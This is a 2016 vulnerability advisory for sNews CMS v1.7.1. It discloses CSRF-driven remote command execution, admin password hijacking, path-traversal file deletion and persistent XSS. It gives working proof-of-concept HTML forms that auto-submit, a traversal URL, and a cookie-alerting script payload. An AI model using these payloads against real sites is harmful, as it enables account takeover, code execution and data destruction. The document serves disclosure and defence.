[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/SNEWS-RCE-CSRF-XSS.txt

[+] ISR: APPARITIONSEC



Vendor:
============
snewscms.com



Product:
================
sNews CMS v1.7.1



Vulnerability Type:
===================================
Persistent Remote Command Execution
Cross Site Request Forgeries (CSRF)
Persistent XSS



CVE Reference:
==============
N/A



Vulnerability Details:
======================

If an authenticated user happens to stumble upon an attackers webpage or
click an infected link they have a chance to get the following prizes,

1) Persistent Remote Code Execution
2) Cross Site Request Forgeries
3) Persistent XSS


sNews has feature that allows PHP functions to be inserted for articles by
authenticated users under "Edit Article". However, there is no
CSRF token/checks to prevent unauthorized HTTP requests to be made on
behalf of that user. Furthermore, these commands will get stored in MySQL
database in the 'articles' table. So each time that sNews webpage is
visited it will execute.

e.g.

CSRF / RCE Under "Edit Article" Admin area.

[func]system:|:"calc.exe"[/func]

On line no 3270 of "snews.php" there is no input filtering allowing
arbitrary system calls.

$returned = call_user_func_array($func[0], explode(',',$func[1]));

////////////////////////////////////////////////////////////////////////////////////////////


CSRF / Hijack SNews CMS accounts, the username however must be known in
advance, if known then that lucky user wins a changed password!.


////////////////////////////////////////////////////////////////////////////////////////////


CSRF / arbitrary file deletion, we can delete arbitrary files in the
webroot which we can use to bypass access controls like ".htaccess" file.
allowing attackers to read/access files from those affected directories.

On line 3080 "snews.php" direct usage of untrusted user input into the PHP
"unlink" function which deletes any files the attacker wants.

if (isset($_GET['task']) == 'delete') {
$file_to_delete = $_GET['folder'].'/'.$_GET['file'];
@unlink($file_to_delete);
echo notification(0,'','snews_files');


///////////////////////////////////////////////////////////////////////////////////////////


Persistent XSS entry point also exists in same "Edit Article" Admin area,
but why bother when we have RCE option.


Exploit code(s):
===============

Remote Command Execution pop "calc.exe" POC.

<form id="CSRF_RCE_PRIZE" method="post" action="
http://localhost/snews1.7.1/?action=process&task=admin_article&id=2">
<input type="hidden" name="title" value="Remote Command Execution" />
<input type="hidden" name="seftitle" value="remote-command-execution" />
<input type="hidden" name="text" value='[func]system:|:"calc.exe"[/func]' />
<input type="hidden" name="define_category" value="1" />
<input type="hidden" name="show_on_home" value="on" />
<input type="hidden" name="publish_article" value="on" />
<input type="hidden" name="position" value="1" />
<input type="hidden" name="description_meta" value="" />
<input type="hidden" name="keywords_meta" value="" />
<input type="hidden" name="description_meta" value="on" />
<input type="hidden" name="display_title" value="on" />
<input type="hidden" name="display_info" value="on" />
<input type="hidden" name="fposting_day" value="3" />
<input type="hidden" name="fposting_month" value="6" />
<input type="hidden" name="fposting_year" value="2016" />
<input type="hidden" name="fposting_hour" value="6" />
<input type="hidden" name="fposting_minute" value="16" />
<input type="hidden" name="task" value="admin_article" />
<input type="hidden" name="edit_article" value="save" />
<input type="hidden" name="article_category" value="1" />
<input type="hidden" name="id" value="2" />
<script>document.getElementById('CSRF_RCE_PRIZE').submit()</script>
</form>


After we make HTTP request for the booby trapped article and KABOOM.

http://localhost/snews1.7.1/uncategorized/remote-command-execution/


CSRF - Account Hijack
=====================

<form id="CSRF-CHG-PASSWD-PRIZE" method="post" action="
http://localhost/snews1.7.1/?action=process&task=changeup">
<input type="hidden" name="uname" value="admin" />
<input type="hidden" name="pass1" value="PWN3D123" />
<input type="hidden" name="pass2" value='PWN3D123' />
<input type="hidden" name="task" value="changeup" />
<input type="hidden" name="submit_pass" value="Save" />
<script>document.getElementById('CSRF-CHG-PASSWD-PRIZE').submit()</script>
</form>


CSRF - Arbitrary File Deletion
===============================

1) Create file in htdocs / web root as a test e.g. "DELETEME.php"

2) Visit following URL as authenticated user.

http://localhost/snews1.7.1/?action=snews_files&task=delete&folder=Patches
Log&file=../../../DELETEME.php

3) Files gone!



Persistent XSS
===============

<form id="XSS" method="post" action="
http://localhost/snews1.7.1/?action=process&task=admin_article&id=2">
<input type="hidden" name="title" value="XSS" />
<input type="hidden" name="seftitle" value="XSS" />
<input type="hidden" name="text"
value="[include]<script>alert(document.cookie)</script>[/include]" />
<input type="hidden" name="define_category" value="1" />
<input type="hidden" name="show_on_home" value="on" />
<input type="hidden" name="publish_article" value="on" />
<input type="hidden" name="position" value="1" />
<input type="hidden" name="description_meta" value="" />
<input type="hidden" name="keywords_meta" value="" />
<input type="hidden" name="description_meta" value="on" />
<input type="hidden" name="display_title" value="on" />
<input type="hidden" name="display_info" value="on" />
<input type="hidden" name="fposting_day" value="3" />
<input type="hidden" name="fposting_month" value="6" />
<input type="hidden" name="fposting_year" value="2016" />
<input type="hidden" name="fposting_hour" value="6" />
<input type="hidden" name="fposting_minute" value="16" />
<input type="hidden" name="task" value="admin_article" />
<input type="hidden" name="edit_article" value="save" />
<input type="hidden" name="article_category" value="1" />
<input type="hidden" name="id" value="2" />
<script>document.getElementById('XSS').submit()</script>
</form>




Disclosure Timeline:
=================================
Vendor Notification:  No Replies
June 19, 2016  : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
================
Critical
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N



Description:
================================================
Request Method(s):        [+]  GET / POST


Vulnerable Product:       [+] snews v1.7.1
===========================================

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

by hyp3rlinx